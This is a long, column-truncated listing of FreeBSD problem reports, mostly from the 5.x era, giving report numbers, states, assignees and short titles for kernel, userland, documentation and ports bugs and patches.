v5.x - endless o conf/74004 [patch] add fam support to inetd.conf o kern/73961 [fdc] floppy disk drive performance problem [new in 5. o i386/73921 i386 [sysctl] [patch] sysctlbyname for machdep.tsc_freq doe o kern/73910 ipfw [ipfw] serious bug on forwarding of packets after NAT o bin/73884 Add NetBSD's rawrite32 to install tools s kern/73823 acpi [request] acpi / power-on by timer support o conf/73786 [patch] added WARNING in spanish to stable-supfile o kern/73777 emulation [linux] [patch] linux emulation: root dir special hand o kern/73744 [lpt] printing via cups causes "Interrupt storm" warni f kern/73740 [ata] [panic] 5-3-R#3 panic when accessing nfs exporte o conf/73677 rc [patch] add support for powernow states to power_profi o bin/73617 sysinstall(8): fdisk editor unmarks active partition f bin/73559 linimon burncd(8) failure closing/fixating DVD-+R/CD-R/CD-RW N s www/73551 www [request] fix list archive 'quoted-printable' corrupti o www/73549 brd [request] fix mail list archive navigation difficulty f kern/73538 net [bge] problem with the Broadcom BCM5788 Gigabit Ethern o gnu/73512 marcel gdb -> Abort trap (core dumped) o bin/73511 sysinstall(8): SCSI drive install failure - RC2 s kern/73496 [request] A more flexible version of mkstemp() s kern/73492 [request] Reliable Temporary Files o kern/73484 fs [ntfs] Kernel panic when doing `ls` from the client si o bin/73422 portmap forks ad infinitum when the NIS domain name is s bin/73411 [request] ftpd(8) could set attributes to 0600 while u o bin/73410 sysinstall(8): Sysinstall could not allocate disklabel o conf/73337 [nsswitch.conf] [patch] potential invalid free o kern/73328 edwin [patch] top(1) shows NICE as -111 on processes started o kern/73313 simokawa [firewire] Maxtor Onetouch drivers hang or corrupt dat o usb/73307 usb [panic] Kernel panics on USB disconnect o kern/73289 [sym] Interrupt storm on sym0 o bin/73261 Suspending su(1) sometimes hangs s kern/73177 geom kldload geom_* causes panic due to memory exhaustion o kern/73171 imp fwohci driver stating cardbus firewire card has incorr o bin/73019 fs [ufs] fsck_ufs(8) cannot alloc 607016868 bytes for ino o kern/73004 [loader] [patch] PXE loader malfunction in multiple PX f kern/72995 multimedia [sound] Intel ICH2 (82801BA) - sound nearly inaudible o kern/72987 ipfw [ipfw] ipfw/dummynet pipe/queue 'queue [BYTES]KBytes ( o i386/72960 i386 [boot] BTX halted with Promise Tx2000 Raid o threa/72953 threads fork() unblocks blocked signals w/o PTHREAD_SCOPE_SYST a kern/72920 emulation [linux]: path "prefixing" is not done on unix domain s o kern/72906 [twe] twe0 idefinite wait buffer o conf/72901 [patch]: dot.profile: prevent printing when doing an s o bin/72895 rink sysinstall(8): Sysinstall generates invalid partition o bin/72875 des Some utilities used in debugging do not function prope o kern/72850 apm suspend handling partial broken with 5.3-STABLE o kern/72838 system freezes when trying to umount my digital camera o bin/72793 [patch] wicontrol(8) prints out non-printable chars in s usb/72733 usb [ucom] [request] Kyocera 7135 Palm OS connection probl o kern/72660 machine locks up shortly after abnornal shutdown & sub o conf/72592 [nis] NIS Domain Master fails as client of itself o bin/72588 [patch] iostat(8) tty stats field concatenation o kern/72585 [syscons] [patch] iso05-8x16.fnt lacks letter q o i386/72566 acpi ACPI, FreeBSD disables fan on Compaq Armada 1750 o bin/72501 cperciva script(1) loops after EOF is read o conf/72465 [patch] United States International keyboard layout fo o kern/72433 [amr] [patch] AMR raid, amrreg.h struct amr_enquery3 a o bin/72398 whatis(8): emulators/mtools man pages are too funky fo o bin/72355 Can't run strings(1) on a (disk) device, even if you w o conf/72277 [patch] update for /usr/share/skel o kern/72224 [agp] umass devices broken by DRM (AGP issue?) o kern/72210 darrenr ipnat problem with IP Fastforward enabled o kern/72208 panic: bio_completed can't be greater than bio_length s ports/72202 simon portaudit warns about the CVS server vulnerability whi f kern/72194 stack backtrace after wakeup from sleeping state o bin/72173 csplit(1) ver 1.9 wrong behaviour with negative offset s kern/72041 [cam] [hang] Deadlock when disk is destroyed while use o conf/71994 [patch] dot.login: login shell may unnecessarily print s kern/71965 andre TCP MSS issue in combination with ipfw fwd o conf/71952 missing past participles in /usr/share/dict/words o bin/71928 Disk quota doesn't work with numeric login s bin/71855 [patch] making kdump(1) WARNS=6 clean o kern/71833 multiple process disc access / injustice o kern/71774 fs [ntfs] NTFS cannot "see" files on a WinXP filesystem o kern/71771 [amr] Hang during heavy load with amr raid controller o bin/71749 [patch] truss -f causes circular wait when traced proc o sparc/71729 sparc64 printf in kernel thread causes panic on SPARC o bin/71671 [patch] cleanup of the usr.sbin/apmd code o bin/71667 [patch] cleanup of the usr.sbin/bootparamd code o bin/71665 [patch] cleanup of the usr.sbin/dconschat code o bin/71664 [patch] cleanup of the usr.sbin/fwcontrol code o bin/71661 [patch] cleanup of the usr.sbin/keyserv code o bin/71660 [patch] cleanup of the usr.sbin/kgmon code p bin/71659 [patch] cleanup of the usr.sbin/mount_portalfs code o bin/71632 [patch] cleanup of the usr.sbin/ndp code o bin/71631 [patch] cleanup of the usr.sbin/pppctl code o bin/71630 [patch] cleanup of the usr.sbin/pppd code o bin/71629 [patch] cleanup of the usr.sbin/pppstats code o bin/71628 [patch] cleanup of the usr.sbin/rpcbind code o bin/71625 [patch] [nis] cleanup of the usr.sbin/rpc.ypupdated co o bin/71622 [patch] sicontrol(8): cleanup of the usr.sbin/sicontro o bin/71621 [patch] sliplogin(8): cleanup of the usr.sbin/sliplogi o bin/71618 [patch] timed(8): cleanup of the usr.sbin/timed code o bin/71617 [patch] [nis] ypserv(8): cleanup of the usr.sbin/ypser o bin/71616 [patch] [nis] yp_mkdb(8): cleanup of the usr.sbin/yp_m o bin/71613 [patch] traceroute(8): cleanup of the usr.sbin/tracero o bin/71602 [patch] uninitialized "len" used instead of "slen" wit o kern/71532 Multiple SCSI-Busses are seen differently by BIOS, loa a kern/71474 bms route lookup does not skip interfaces marked down o kern/71469 net default route to internet magically disappears with mu o usb/71455 usb [umass] Slow USB umass performance of 5.3 o kern/71450 [de] de(4): MAC address change on 21040 "Tulip" Ethern o usb/71417 usb [ugen] Cryptoflex e-gate USB token (ugen0) communicati o usb/71416 usb [ugen] Cryptoflex e-gate USB token (ugen0) detach is n o kern/71391 [nfs] [panic] md via NFS file + mount -t ntfs: panic: o conf/71386 loader.conf: hint.apic.0.disabled="YES" doesn't work. o kern/71366 ipfw [ipfw] "ipfw fwd" sometimes rewrites destination mac a s bin/71290 des [patch] passwd(1) cannot change passwords other than N o usb/71280 usb [aue] aue0 device (linksys usb100tx) doesn't work in 1 o kern/71258 alc [vm] [patch] anonymous mmappings not always page align o conf/71254 [ncurses] xterm vs. cons* termtypes or sc(4) o kern/71219 /proc/*/map dont tell file offset o gnu/71210 Update to GNU sdiff: add user-preference for merge key o kern/71198 Lack of PUC device in GENERIC kernel causes interupt l o usb/71155 usb [ulpt] misbehaving usb-printer hangs processes, causes o kern/71045 [rl] [vr] DHCP-Request is sets other device's ip to nu o i386/71000 i386 [boot] BTX halted when booting from CD on a machine wi o threa/70975 threads [sysvipc] unexpected and unreliable behaviour when usi o kern/70904 net [ipf] ipfilter ipnat problem with h323 proxy support o i386/70832 yongari [re] re0: watchdog timeout on Evo N1015v o stand/70813 standards [patch] ls(1) not Posix compliant o kern/70810 [pci] [patch] Enable SMBus device on Asus P4B series m o bin/70756 indent(1) mishandles code that is protected for c++ co f kern/70753 gavin [boot] Device for firewire hard disk not created in ti o conf/70715 [periodic] Lack of year in dates in auth.log can cause o kern/70708 [nfs] gcore/procfs not finding /proc/pid/file on repea o kern/70649 [rtc] system clock slows down when heavily loaded o bin/70600 fsck(8) throws files away when it can't grow lost+foun o bin/70536 reboot(8) -dp tries to dump when powering off o i386/70531 i386 [boot0] [patch] boot0 hides Lilo in extended slice o usb/70523 usb [umct] [patch] umct sending/receiving wrong characters o kern/70511 When fread(3)ing with buffering turned off, many sysca o bin/70476 reboot(8) change, -p behavior default for halt o kern/70401 darrenr [modules] Could not load ipl.ko when no INET6 in the k o bin/70336 telnetd(8) always exits with value 1 o bin/70335 inetd(8) inconsistent syslog behavior when max childre o i386/70330 marcel Re-Open 33262? - gdb does not handle pending signals p o bin/70297 amd(8) request to make amd timeouts per-mount local o bin/70245 ru [patch] [build] Change to src/release/Makefile to aid p kern/70096 trhodes [msdosfs] [patch] full msdos file system causes corrup o bin/70002 sysinstall(8): fails to locate FTP dirs if the OS has o kern/69989 killing process that uses snp + unloading module + lis o bin/69986 sysinstall(8): [patch] no job control in fixit shell o o kern/69963 ipfw [ipfw] install_state warning about already existing en o bin/69942 sysinstall(8): sysinstall changes /etc/rc.conf after i o bin/69875 [patch] mlxcontrol(8): `mlxcontrol status ' p docs/69861 trhodes [patch] usr.bin/csplit/csplit.1 does not document POSI o kern/69826 [libc] 16th group has no effect when accesing file on o kern/69825 [libc] 1st group supplied to setgroups() does not take o i386/69750 acpi Boot without ACPI failed on ASUS L5 o bin/69723 sysinstall(8): [request] allow to continue from packag o kern/69650 [patch] make getserv* functions work with nsdispatch o bin/69398 [patch] login(1) cleartext display of password in logi o bin/69362 mbr amd(8) does not properly detect the local network sett o ports/69309 ale mysql database backup script for periodic/daily o bin/69268 [patch] Fix ndiscvt(8) to warn you if it's going to ge s i386/69218 simokawa [boot] failure: 4.10-BETA and later do not boot on Asu o bin/69164 marcel gdb(1) amd64: coredump while debugging a core file. o bin/69083 [patch] vi(1) basic modelines for contrib/nvi o kern/69066 panic: nmdm page fault when slattach on a null modem d s threa/69020 threads pthreads library leaks _gc_mutex o bin/69010 [patch] [build] Portability fixes for FreeBSD build ut o usb/69006 usb [usbdevs] [patch] Apple Cinema Display hangs USB ports o kern/68978 fs [panic] [ufs] crashes with failing hard disk, loose po a kern/68905 secteam [patch] core dumps are assigned wrong ownership a bin/68904 krion pkg_install(1) fixes (_PATH_*, sprintf -> snprintf, st o kern/68889 kmacy [panic] m_copym, length > size of mbuf chain o bin/68797 [patch] cut(1): fflush after each write if an option i o bin/68727 marcel gdb(1) coredumps after recent CURRENT upgrade o kern/68690 [libc] write(2) returns wrong value when EFAULT o bin/68586 dwmalone [patch] allow syslogd(8) to forward to non-default por p conf/68525 matteo Loader's verbose boot mode has rc.d/localdaemon not na o kern/68458 Burning DVD causes lots of FAILURE - READ_SUBCHANNEL I o bin/68437 [patch] conscontrol(8) DEVDIR -> _PATH_DEV fix and mor o bin/68328 [patch] syslogd(8) enable configuration of extra liste s kern/68317 [kernel] [patch] on soft (clean) reboots clean dmesg o o kern/68311 [patch] it is impossible to override defaults with ker o usb/68232 usb [ugen] [patch] ugen(4) isochronous handling correction p kern/68189 bz [arp] [jail] [patch] arp -a discloses non-jail interfa o conf/68108 [patch] Adding mac-address /conf selector to diskless o kern/68076 [modules] Page fault when the sequence "kldunload ucom o bin/68062 standalone repeat(1) command o bin/67943 find(1) fails when current directory is not readable b o kern/67919 imagemagicks convert image to movie conversion kills 5 o alpha/67903 alpha hw.chipset.memory: 1099511627776 - thats way to much : o kern/67830 [smp] [patch] CPU affinity problem with forked child p o bin/67723 restore(8) FreeBSD 5.x restore cannot handle other pla s alpha/67626 alpha X crashes an alpha machine, resulting reboot s kern/67580 [request] add hints for boot failures o bin/67550 [patch] tftpd(8) Add BLK_SIZE option to tftpd server s kern/67545 [nfs] NFS Diskless Mount Option Suggestion o misc/67502 cvsadm cvs-all commit message did not include all files touch f ports/67436 portmgr [patch] bsd.port.mk: GNU_CONFIGURE_PREFIX_SUBDIR s i386/67383 [i386] [patch] do a better job disassembling code in 1 p bin/67365 sysinstall(8) doesn't find latinamerican keymap o conf/67328 [ppp] Usermode PPP hangs on boot when NIS configured o kern/67326 rodrigc [msdosfs] crash after attempt to mount write protected o usb/67301 usb [uftdi] [panic] RTS and system panic o bin/67231 [patch] pam_krb5 doesn't honor default flags from /etc o bin/67172 w(1) finger(1) display the remote host incorrectly o bin/67142 [nis] rpc.yppasswdd incorrectly throws errors about in o i386/67050 imp CardBus (PCI ?) resource allocation problem (still on o bin/66988 [patch] apm(8) check validation of the returned values o kern/66960 [fdc] [patch] filesystems not unmounted during reboot o bin/66893 [patch] [nis] rpc.yppasswdd(8): Linux NIS clients conn o bin/66830 [nis] chsh(1) ypchsh(1) do not change user information o bin/66677 mv(1) incorrectly copies somedir/.. to ./.. when it cr s ports/66566 portmgr [PATCH] bsd.port.mk: fix build when /usr/obj/usr/ports o usb/66547 usb [ucom] Palm Tungsten T USB does not initialize correct o docs/66505 trhodes escaping '~' and '$' characters in login.conf setenv o o stand/66357 standards make POSIX conformance problem ('sh -e' & '+' command- o bin/66350 matteo sysinstall(8): sysinstall creates a partition of subty o kern/66348 rik [cx] FR mode of cx (Cronyx Sigma) does not work for 4. s ports/66342 portmgr [PATCH] fix ECHO_MSG breakage in java ports p docs/66289 brueffer [patch] lib/libc/gen/ualarm.3 refers to non-existent a o kern/66270 [hang] dump(8) causes machine freeze o kern/66268 glebius [socket] [patch] Socket buffer resource limit (RLIMIT_ o kern/66225 [netgraph] [patch] extend ng_eiface(4) control message a kern/66185 [twe] twe driver generates gratuitous warning on shutd o kern/66162 phk [gbde] gbde destroy error o bin/66103 ppp(8) macro HISADDR is not sticky in filters o kern/66029 [crypto] [patch] MD5 alignment problem on a TriMedia p o kern/65920 fs [nwfs] Mounted Netware filesystem behaves strange o kern/65901 fs [smbfs] [patch] smbfs fails fsx write/truncate-down/tr s ports/65804 portmgr [PATCH] bsd.port.mk is gratuitously slow o bin/65803 gad [patch] ps(1) enhancements (posix syntax, and more) o bin/65774 randi sysinstall(8): cannot run repair disk when booted from o i386/65648 imp cardbus("TI1131") won't work on Dell Latitude CP 233XT o kern/65616 gnn IPSEC can't detunnel GRE packets after real ESP encryp o bin/65483 vi(1) -r crashes o kern/65448 jhb _mtx_unlock_sleep() race condition if ADAPTIVE_MUTEXES o kern/65355 [pci] [patch] TC1000 serial ports need enabling o bin/65306 obrien [patch] [build] Portability fixes for FreeBSD build ut o bin/65299 vi(1) temp path contains double / o bin/65228 [Patch] Allow rup(1) to parse hostnames from a defined o java/65054 glewis Diablo 1.3.1 JVM runs out of file descriptors at 1021 s kern/64875 standards [libc] [patch] [request] add a system call: fdatasync( a kern/64816 [nfs] [patch] mmap and/or ftruncate does not work corr o conf/64788 [nsswitch.conf] nsswitch with ldap and starting ppp on s kern/64588 [joy] [request] Extend joystick driver architecture to o kern/64556 net [sis] if_sis short cable fix problems with NetGear FA3 o bin/64327 [patch] make(1): document surprising behaviour of assi o kern/64196 [kernel] [patch] remove the arbitrary MAXSHELLCMDLEN o kern/64178 jmg [kqueue] [patch] kqueue does not work with bpf when us o kern/64114 [vga] [patch] bad vertical refresh for console using R o kern/63863 glebius [netgraph] [patch] [request] implement NGM_ELECTROCUTE f usb/63837 linimon [uhid] [patch] USB: hid_is_collection() only looks for o kern/63629 thomas [atapicam] mounting atapicam volume through cd0c cause o usb/63621 usb [umass] [panic] USB MemoryStick Reader stalls/crashes o bin/63608 Add a -c option to time(1) to display csh output o docs/63570 doc [patch] Language cleanup for the Handbook's DNS sectio o www/63552 gabor Validation errors due to CAPs in attribute values o bin/63489 top(1) finger(1) segfault when using NIS groups to res o kern/63431 [rtc] motherboard going to suspend mode stops system c o docs/63215 jeff Wrong prototypes in mi_switch(9) (ref docs/24311) o kern/63204 multimedia [sound] /dev/mixer broken with ESS Maestro-2E (still o a bin/63197 [patch] tftp(1) Bus error, core dumped o docs/63084 des Several Man-pages reference non-existant pam.conf(5) a p kern/63064 delphij [patch] strptime(3) fails on %z s bin/62965 krion pkg_add(1) -r fails if fetching multiple packages at a o kern/62890 ups proc pointer set by fork1 can be stale in fork,rfork,v f bin/62885 des pam_radius(8) doesn't maintain multiple state fields s stand/62858 standards malloc(0) not C99 compliant s java/62837 java linux-sun-jdk14 executables hang with COMPAT_LINUX in o bin/62833 sysinstall(8): can't install: integer divide fault o bin/62766 systat(1) -vm does not work on diskless machines o kern/62762 bde [msdosfs] Fsync for msdos fs does not sync entries o bin/62711 kensmith sysinstall(8): installation: "Insert Next CD" Prompt i o bin/62702 sysinstall(8): backup of /etc and /root during sysinst o kern/62468 panic: system crashes when serial getty enabled and se o conf/62417 luigi diskless op script failed o docs/62412 trhodes one of the diskless boot methods described in the Hand o bin/62367 sysinstall(8): 5.2.1-RC installation problems a kern/62278 [nfs] [patch] NFS server may not set eof flag when rea s usb/62257 usb [umass] [request] card reader UCR-61S2B is only half-s o kern/62102 alc obreak update o bin/62077 [patch] Make it possible to abbreviate mixer(8) device o kern/62042 luigi [ipfw] ipfw can't no more reject icmp (icmptypes 8) o i386/62003 remko [loader] [patch] make /boot/loader "reboot" code same o bin/61978 delphij [patch] sync setkey(8) token.l with KAME o alpha/61973 alpha Machine Check on boot-up of AlphaServer 2100A RM o bin/61971 kinit(1) --renewable fails f kern/61960 linimon [ata] [patch] BigDrive support for PC-98 architecture o alpha/61940 alpha sysinstall(8): Can't disklabel new disk from FreeBSD/a o kern/61909 5.2-Current fails to notice change of CD in drive o bin/61890 sysinstall(8): fdisk(8) uses incorrect calculations fo s kern/61810 mounts done within a chroot show up wrong and can't be a kern/61744 andre [netinet] [patch] TCP hangs onto mbufs with no tcp dat o kern/61733 imp panic: resource_list_release: resource entry is not bu o bin/61716 mckusick newfs(8) code and manpage are out of sync s kern/61677 Unable to open CDROM tray if boot_cdrom is in loader.c s kern/61622 Intel Pro/100 Intelligent Server Adapter unsupported N o docs/61605 doc [request] Improve documentation for i386 disk geometry s bin/61603 randi sysinstall(8): wrong geometry guessed o kern/61503 fs [smbfs] mount_smbfs does not work as non-root s kern/61497 ups [kernel] [patch] __elfN(map_insert) bug s i386/61481 [patch] a mechanism to wire io-channel-check to userla o bin/61438 randi sysinstall(8): 5.2 nfs tasks running by default after o kern/61404 silby RFC1323 timestamps with HZ > 1000 o bin/61355 login(1) does not restore terminal ownership on exit s misc/61322 [build] [patch] bsd.dep.mk disallows shell generated f o docs/61301 doc [patch] Manpage patch for aue(4) to enable HomePNA fun o kern/61300 [aue] [patch] Enabling HomePNA PHY on aue(4) for HomeP o conf/61289 /etc/pccard_ether: please use ifn value on pccard scri o bin/61264 sysinstall(8): unable To Use VT100 Terminal Emulator ( o bin/61239 [patch] bootp enhancement, places the dhcp tags into t s kern/61165 scsi [panic] kernel page fault after calling cam_send_ccb o bin/61152 randi sysinstall(8): installer refuses to mount USB-floppy o o kern/60963 [pecoff] [patch] Win32 Applications abort on PECOFF o bin/60892 [patch] added -p option to kldxref(8) to allow creatio s kern/60874 [request] auto-assign devfs ruleset numbers o bin/60834 [patch] ftpd(8) send_data()+oldway: anonymous transfer o kern/60719 ipfw [ipfw] Headerless fragments generate cryptic error mes o kern/60699 [atapicam] DVD Multidrive udma mode autosensed wrong o kern/60697 [pty] [patch] pseudo-tty hack versus telnet race cause o kern/60677 multimedia [sound] [patch] No reaction of volume controy key on I o kern/60641 scsi [sym] Sporadic SCSI bus resets with 53C810 under load o bin/60632 sysinstall(8): UI bug in partition label screen in sys s kern/60599 multimedia [bktr] [partial patch] No sound for ATI TV Wonder (ste o kern/60598 scsi wire down of scsi devices conflicts with config s ports/60558 portmgr [PATCH] bsd.port.mk: automatically verify GnuPG signat o kern/60550 silby [kernel] [patch] hitting process limits produces sub-o o docs/60529 ume resolver(5) man page is badly out of date o misc/60503 [modules] small error in modules installation f bin/60350 kensmith sysinstall(8): in Choose Distributions screen, "All" d o bin/60349 scottl sysinstall(8): 5.2-RC1 cannot do NFS installation p kern/60307 [pccard] [patch] wrong product id in pccarddevs for Sp s kern/60293 net [patch] FreeBSD arp poison patch o kern/60235 phk some /dev-entries missing for newly auto-added disks o kern/60174 marcel debugging a kernel module in load/attach routines o kern/60089 scottl [udf] UDF filesystem appends garbage to files o gnu/59971 peter assertion "strncmp (repository, current_parsed_root->d o kern/59912 alc mremap() implementation lacking o kern/59903 [pci] [patch] "pci_find_device" returns [only/at] the o docs/59835 doc ipfw(8) man page does not warn about accepted but mean o bin/59777 [patch] ftpd(8)/FreeBSD 5: potential username enumerat o bin/59775 [patch] ftpd(8)/FreeBSD 5: incorrect reply for "unimpl o bin/59774 [patch] ftpd(8)/FreeBSD 5: syslog facility may be chan o bin/59772 [patch] ftpd(8)/FreeBSD 5: support for tcp_wrappers in s kern/59739 [libc] rmdir(2) and mkdir(2) both return EISDIR for ar o docs/59735 kensmith [patch] Adding a reference to Icelandic Rsync to mirro o bin/59708 sysinstall(8): [patch] add sSMTP support for Mail sele o usb/59698 usb [keyboard] [patch] Rework of ukbd HID to AT code trans s bin/59638 des passwd(1) does not use PAM to change the password o conf/59600 [patch] Improved us.emacs.kbd mapping o bin/59564 [patch] from(1) add option (-S) to also display subjec o docs/59477 doc Outdated Info Documents at http://docs.freebsd.org/inf o kern/59456 fdescfs stat / compress creates only empty files o www/59307 remko [patch] xml/xsl'ify & update publications page o kern/59289 [bktr] [patch] ioctl METEORGBRIG in bktr_core.c forget s ports/59254 linimon ports that write something after bsd.port.mk o docs/59240 blackend [patch] handbook update: linux MATLAB o bin/59220 obrien [patch] systat(1) device select (:only) broken o kern/59183 imp [wi] wi problems with wi_cmd o docs/59044 doc [patch] doc.docbook.mk does not properly handle a sour p bin/58970 truss(1) coredumps for the no significant reason o kern/58967 Kernel kills processes in spite of cputime parameter i o bin/58951 sysinstall(8): some problems with 4.9-RELEASE installa o kern/58941 rwatson [acl] acl under ufs2 doesn't handle disk corruption, p o conf/58939 rc [patch] dumb little hack for /etc/rc.firewall{,6} o kern/58803 [kernel] [patch] kern.argmax isn't changeable even at p kern/58687 deischen [libc] [patch] gethostbyname(3) leaks kqueue file desc o conf/58557 Summer/Winter-time change causes daily cron to be run o bin/58483 [patch] mount(8): allow type special or node relative o bin/58390 bsdlabel(8) fails to display an error message if the l o kern/58373 mckusick [ufs] ufs inconsistency between 4.9-RC and 5.1 o bin/58293 vi(1) replace with CR (ASCII 13) doesn't work o kern/58154 mckusick Snapshots prevent disk sync on shutdown o bin/58012 [patch] tftpd(8) Multihomed tftpd enhancement a stand/57911 fnmatch ("[[:alpha:]]","x", FNM_PATHNAME) returns FNM_ o kern/57832 scottl [ips] softdep_deallocate_dependencies: dangling deps o bin/57715 [patch] tcopy(1) enhancement a kern/57696 [nfs] NFS client readdir terminates prematurely if ren o kern/57631 jhb [agp] [patch] boot failing for ALi chipsets p bin/57630 lptcontrol(8) gives "device busy" if device turned off o kern/57603 [bktr] bktr driver: freeze on SMP machine o bin/57554 sh(1) incorrect handling of quoted parameter expansion o kern/57522 [patch] New PID allocater algorithm from NetBSD o conf/57517 [patch] add parameter for /etc/periodic/daily/210.back s ports/57498 portmgr HEIMDAL_HOME should be defined in src or ports Makefil a kern/57479 julian FreeBSD Not in compliance with RFC 1122, Cannot have m o misc/57464 [boot] loader(8) seems to confuse files [4.7] s bin/57407 [patch] Better NTP support for dhclient(8) and friends s kern/57398 scsi [mly] Current fails to install on mly(4) based RAID di o kern/57350 [panic] using old monocrome printer port (IO_LPT3 / 0x o docs/57298 blackend [patch] add using compact flash cards info to handbook o stand/57295 harti make's handling of MAKEFLAGS is not POSIX conform s bin/57255 usb [patch] usbd(8) and multi-function devices s amd64/57250 kmacy [amd64] [patch] Broken PTRACE_GETFPREGS and PTRACE_SET o kern/57206 [panic] softdep_lock locks against itself, causing ker o bin/57089 w(1) does not honor the -n option s bin/57088 [cam] [patch] for a possible fd leak in libcam.c o bin/57054 let test(1) compare the mtime of a file to a string o bin/57045 trpt(8) option -t was disabled on -current s bin/57018 [patch] convert growfs(8) to use libufs(3) o conf/56934 rc [patch] rc.firewall rules for natd expect an interface s ports/56928 java jce-aba port should install to $JAVA_HOME/jre/lib/ext s kern/56720 [libc] [request] UNICODE support in Resolver o kern/56664 bad file# in MTIO status buffer after MTEOD until MTRE o bin/56648 [patch] enable rcorder(8) to use a directory for locat o stand/56476 standards cd9660 unicode support simple hack s kern/56461 [rpc] FreeBSD client rpc.lockd incompatible with Linux o kern/56451 emulation [linprocfs] /compat/linux/proc/cpuinfo gives wrong CPU o bin/56447 [patch] extend mt(1) command for AIT-2 tape drives o kern/56339 select() call (poll() too) hangs, yet call works perfe o kern/56250 [ums] [patch] ums(4) doesn't work with MCT based PS/2 o bin/56249 obrien ftpd(8) has two bugs (motd, munged utmp) o kern/56245 [bktr] Distorted and choppy video with bktr-driver on a kern/56233 gnn IPsec tunnel (ESP) over IPv6: MTU computation is wrong o kern/56031 luigi [ipfw] ipfw hangs on every invocation o kern/56024 acpi ACPI suspend drains battery while in S3 o kern/55984 ipfw [ipfw] [patch] time based firewalling support for ipfw s bin/55965 sshd(8) problems with HostBasedAuthentication and NSS o gnu/55936 bugmeister send-pr(1) does not set mail envelope from o docs/55883 kensmith [patch] handbook advanced-networking/chapter.sgml s ports/55841 portmgr [patch] Mk/bsd.port.mk: add routines to use ${PORTSDIR s kern/55802 [request] Make kernel.GENERIC suitable for diskless us o kern/55793 [dc] Flaky behavior of if_dc when initializing a LNE10 o i386/55661 acpi ACPI suspend/resume problem on ARMADA M700 o kern/55617 fs [smbfs] Accessing an nsmb-mounted drive via a smb expo o i386/55603 [mly] unable to reboot when system runs from Mylex A35 o bin/55546 cdcontrol(1) play tr m:s.f interface is partially brok a kern/55542 andre [de] [patch] discard oversize frame (ether type 800 fl o bin/55539 [patch] Parse fstab(5) with spaces in path names o bin/55457 marcel GDB gets confused debugging libc_r threaded processes. o kern/55448 dbm(3): dbm_nextkey() misbehaves after dbm_store() in o misc/55387 [build] [patch] users LD_LIBRARY_PATH can interfere wi o bin/55349 mbr amd(8) mixes up symlinks in its virtual filesystem. o bin/55346 stefanf sh(1) eats memory and CPU infinitely p kern/55018 andre [digi] [patch] Digiboard PC/Xem fails to initialize wh o conf/55015 [patch] 700.kernelmsg: Security check output enhacemen o kern/54891 [libalias] [patch] libalias(3)/natd(8) and exporting c o kern/54884 mckusick FreeBSD -stable and -current free space handling for U o stand/54839 standards [pcvt] pcvt deficits o stand/54833 standards [pcvt] more pcvt deficits o bin/54784 find(1) -ls wastes space o i386/54756 acpi ACPI suspend/resume problem on CF-W2 laptop s docs/54752 doc bus_dma explained in ISA section in Handbook: should b o bin/54683 sh(1) redundant history o kern/54604 pjd [kernel] [patch] make 'ps -e' procfs-independent o bin/54594 [patch] make(1) apply regexps to the entire variable - o java/54463 glewis Apparent bug in jdk13 o docs/54461 kensmith [patch] Possible additions to Handbook (Basics and Use p bin/54446 flz [patch] pkg_delete(1) doesn't honour symlinks, portupg o kern/54439 [sysctl] [patch] Protecting sysctls variables by given o stand/54410 standards one-true-awk not POSIX compliant (no extended REs) o bin/54401 [patch] pppstats(8) prints 0 for absolute values in ra o kern/54383 net [nfs] [patch] NFS root configurations without dynamic o bin/54365 [patch] add -u option to install(1) for SysV compatibi o kern/54309 silby TCP Packet of 64K-1 crashes FreeBSD4.8 o conf/54170 [patch] error from weekly periodic script 330.catman o bin/54141 wrong behavour of cu(1) o bin/54097 [nis] Non-local yppasswd(1) -d broken in 5.1-CURRENT o bin/53839 sysinstall(8): disklabel editor fails on post-install o docs/53751 doc bus_dma(9) incorrectly documents BUS_DMA_ALLOCNOW s stand/53682 [feature request] [patch] add fuser(1) utility o docs/53596 doc Updates to mt(1) manual page o bin/53560 logging domain names in wtmp is retarded o bin/53520 su(1) to another user does not update utmp o kern/53506 [partial patch] support gzipped modules o bin/53475 cp(1) copies files in reverse order to destination o kern/53447 alfred [kernel] poll(2) semantics differ from susV3/POSIX o bin/53341 sysinstall(8): [patch] dump frequency in sysinstall is o bin/53288 edwin tail(1) will sometimes display more lines than it is t o docs/53271 doc bus_dma(9) fails to document alignment restrictions o kern/53137 [panic] background fscking causing ffs_valloc panic. o bin/53131 randi sysinstall(8): "ALL" could not turn check BOXes ON at f kern/52980 mbr [dc] [patch] dc driver fails to init Intel 21143 Cardb s bin/52826 krion [request] Adding Timestamps to pkg info upon pkg_add(1 s ports/52765 portmgr [patch] Uncompressing manual pages may fail due too "a f bin/52746 tcsh(1) fails to handle large arguements o bin/52743 ppp(8) /etc/ppp/ppp.linkup instability issues o kern/52725 [patch] installincludes for kmods s ports/52706 portmgr [patch] bsd.port.mk issues warning if a site is explic o kern/52638 scsi [panic] SCSI U320 on SMP server won't run faster than o kern/52623 [ex] [patch] IRQ error in driver for the Intel EtherEx o bin/52517 murray New functionality for mail(1) o bin/52469 ppp(8) Multiple devices using UDP don't work. o kern/52445 [mfs] panic when mounting floppy on MFS filesystem o bin/52343 [nis] login(1) problem on the server o misc/52256 embedded [picobsd] picobsd build script does not read in user/s s docs/52071 delphij [patch] Add more information about soft updates into a s usb/52026 usb [usb] [request] umass driver support for InSystem ISD2 o kern/51982 remko [sio] sio1: interrupt-level buffer overflows s usb/51958 usb [urio] [patch] update for urio driver o kern/51685 fs [hang] Unbounded inode allocation causes kernel to loc o bin/51628 [nis] ypmatch doesn't match keys in legacy NIS servers o kern/51583 fs [nullfs] [patch] allow to work with devices and socket o docs/51480 dds Multiple undefined references in the FreeBSD manual pa s kern/51341 remko [ipfw] [patch] ipfw rule 'deny icmp from any to any ic o bin/51296 calendar(1) wrong for dates based on day+-num o kern/51274 ipfw [ipfw] [patch] ipfw2 create dynamic rules with parent o ports/51152 portmgr [patch] bsd.port.mk: generic SHEBANG_FILES o bin/51148 [patch] Control the cache size for pwd_mkdb(8) to spee s bin/51137 [patch] config(8) should check if a scheduler is selec o www/51135 www Problems with the mailing-lists search interface p docs/51133 murray RSH environmental variable not described in rcmd(3) o kern/51120 MSGBUF_SIZE doesn't work in makefiles o bin/51070 [patch] add -p option to pom(6) o kern/51009 [aue] [patch] buggy aue driver fixed. p conf/50956 matteo daily_status_disks_df_flags in /etc/defaults/periodic. o bin/50949 mtree(8) doesn't honor the -P when checking/changing o s kern/50827 [kernel] [patch] [request] add sane record locking o docs/50773 jmg [patch] NFS problems by jumbo frames to mention in bge o kern/50687 ioctl(.., CDIOCCAPABILITY, ...) always reports 